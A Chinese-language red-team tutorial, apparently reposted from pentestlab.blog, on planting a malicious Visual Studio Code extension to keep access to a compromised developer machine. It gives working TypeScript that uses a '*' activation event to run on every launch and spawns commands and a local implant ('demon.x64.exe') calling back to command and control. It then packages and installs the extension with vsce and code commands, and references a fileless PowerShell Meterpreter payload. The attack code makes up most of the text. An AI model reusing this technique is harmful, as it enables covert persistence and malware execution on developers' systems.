红队战术 - Visual Studio 代码扩展持久性

admin 2024年3月7日14:34:54评论8 views字数 4221阅读14分4秒阅读模式

红队战术 - Visual Studio 代码扩展持久性

负责编写代码(即使用Sigma 的检测工程师)以利用 Visual Studio Code 作为代码编辑器的开发人员或用户并不罕见。可以使用调试器和工具等扩展来扩展产品的默认功能,以支持开发工作流程。然而,在红队演习期间受到损害的开发环境中,可以使用任意 Visual Studio Code 扩展来实现持久性,因为它还将使红队能够融入底层环境。

扩展开发

在开始开发 Visual Studio Code Extension 之前,环境需要以下包:

  • Visual Studio Code

  • NodeJS

  • Yeoman

  • Npm Generator Code

从命令提示符执行以下命令将安装Yeoman和生成器代码。

npm install -g yonpm install -g yo generator-code

红队战术 - Visual Studio 代码扩展持久性

Yeoman & Code Generator

命令yo code启动扩展生成器,它将生成扩展所需的文件。

yo code

红队战术 - Visual Studio 代码扩展持久性

扩展生成器

从扩展文件夹中使用以下命令将启动Visual Studio Code。Visual Studio Code启动后,将在向工作区中添加任何文件之前请求用户的权限。

cd persistence-pentestlabcode .

红队战术 - Visual Studio 代码扩展持久性

扩展文件夹

扩展中感兴趣的文件包括:

  • package.json

  • extension.ts

默认情况下,这些文件的内容将类似于下面的图片:

红队战术 - Visual Studio 代码扩展持久性

包文件

红队战术 - Visual Studio 代码扩展持久性

扩展文件

执行命令HelloWorld将显示HelloWorld信息消息,因为它将从扩展名.ts文件调用函数showInformationMessage。

红队战术 - Visual Studio 代码扩展持久性

Hello World扩展
根据Visual Studio Code,有许多激活事件可以在package.json文件中声明。这些事件可以提供各种持久性选项,例如在打开特定语言文件时或在启动Visual Studio代码期间执行命令。激活事件“*”将强制扩展在每次Visual Studio Code启动时执行。

红队战术 - Visual Studio 代码扩展持久性

扩展包持久性

红队战术 - Visual Studio 代码扩展持久性

下面的代码可以在扩展名.ts文件中使用,以便在Visual Studio Code启动后显示一条消息作为概念证明。
import * as vscode from 'vscode';export function activate(context: vscode.ExtensionContext) {    let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {        vscode.window.showInformationMessage('Implant is executed');    });    context.subscriptions.push(disposable);    vscode.commands.executeCommand('persistence-pentestlab.Install');}export function deactivate() {}

红队战术 - Visual Studio 代码扩展持久性

扩展消息
下图展示了在下一次运行Visual Studio Code时显示消息“Implant is executed”。

红队战术 - Visual Studio 代码扩展持久性

分机显示信息消息

命令执行

现在已经验证了代码可以在启动过程中执行,可以修改扩展代码来运行命令。下面的代码片段使用child_process库运行whoami命令并将输出记录到控制台。

import * as vscode from 'vscode';export function activate(context: vscode.ExtensionContext) {   let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {       vscode.window.showInformationMessage('Implant is executed');const cp = require('child_process');let cmd = 'whoami';cp.exec(cmd, (err: string, stdout: string, stderr: string) => {    console.log(stdout);    if (err) {        console.log(err);    }});    });        context.subscriptions.push(disposable);    vscode.commands.executeCommand('persistence-pentestlab.Install');}export function deactivate() {}

红队战术 - Visual Studio 代码扩展持久性

命令执行

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展- whoami
将命令替换为本地存储的植入物可用作执行任意代码的方法。
import * as vscode from 'vscode';export function activate(context: vscode.ExtensionContext) {   let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {       vscode.window.showInformationMessage('Implant is executed');const cp = require('child_process');let cmd = 'C:\tmp\demon.x64.exe';cp.exec(cmd, (err: string, stdout: string, stderr: string) => {    console.log(stdout);    if (err) {        console.log(err);    }});    });        context.subscriptions.push(disposable);    vscode.commands.executeCommand('persistence-pentestlab.Install');}export function deactivate() {}

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展-植入执行
当延伸导线运行时,植入物将回调命令和控制。

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展-植入

扩展包装

扩展可以使用Visual Studio代码扩展管理器打包。默认情况下,此实用程序不存在,可以使用以下命令安装:

npm install -g @vscode/vsce

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展管理器

执行以下命令将扩展名打包到.vsix文件中。

vsce package --allow-missing-repository --allow-star-activation

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码-包扩展

打包的扩展将出现在扩展文件夹中。

红队战术 - Visual Studio 代码扩展持久性

但是,在执行以下命令之前,扩展不会安装到Visual Studio代码中:
code --install-extension persistence-pentestlab-0.0.1.vsix

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码-安装扩展

伸展载荷

由于在受损用户将启动Visual Studio代码时已安装扩展,因此将执行植入并与命令和控制建立通信。

红队战术 - Visual Studio 代码扩展持久性

Visual Studio Code

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展- C2
下图演示了扩展如何在Visual Studio代码的扩展中显示。

红队战术 - Visual Studio 代码扩展持久性

应该注意的是,植入将在Visual Studio Code的上下文中执行。Visual Studio代码的执行会生成各种进程实例,因此植入物将与环境融为一体。

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展-进程树

PowerShell

将植入物放入磁盘可能不是执行代码的最安全方法。另一种方法是利用PowerShell来执行无文件的有效负载。

红队战术 - Visual Studio 代码扩展持久性

PowerShell有效负载

当扩展加载时,将执行有效负载并建立Meterpreter会话。

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展- Meterpreter

红队战术 - Visual Studio 代码扩展持久性

Visual Studio代码扩展- Meterpreter

JavaScript

Edge.js允许用户在Node.js中运行.NET代码。因此,Visual Studio扩展可以在JavaScript中开发,嵌入C#代码,这将扩展任意扩展的攻击能力。可以通过执行以下命令安装Edge.js和electron-edge.js:

npm install --save edge-js

红队战术 - Visual Studio 代码扩展持久性

Edge JavaScript
npm install --save electron-edge-js

红队战术 - Visual Studio 代码扩展持久性

Electron JavaScript
下面的代码将显示一个消息框,作为从JavaScript文件执行.NET的概念证明。
var edge = require('edge-js');var msgBox = edge.func(function() {/*    using System;    using System.Threading.Tasks;    using System.Runtime.InteropServices;    class Startup    {        [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]        private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);        public async Task<object> Invoke(dynamic input)        {            MessageBox(IntPtr.Zero,                "Visit pentestlab.blog",                "Pentestlab.blog",                0);            return null;        }    }*/});msgBox(null, function (error, result) {    if (error) throw error;});
节点二进制文件可用于执行任意JavaScript文件。
node .msgBox.js

红队战术 - Visual Studio 代码扩展持久性

MessageBox

参考:

  • https://secarma.com/using-visual-studio-code-extensions-for-persistence/

  • https://thevivi.net/blog/pentesting/2022-03-05-plugins-for-persistence/#2-visual-studio-code

原文始发于微信公众号(Ots安全):红队战术 – Visual Studio 代码扩展持久性

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月7日14:34:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队战术 - Visual Studio 代码扩展持久性http://cn-sec.com/archives/2555120.html

发表评论

匿名网友 填写信息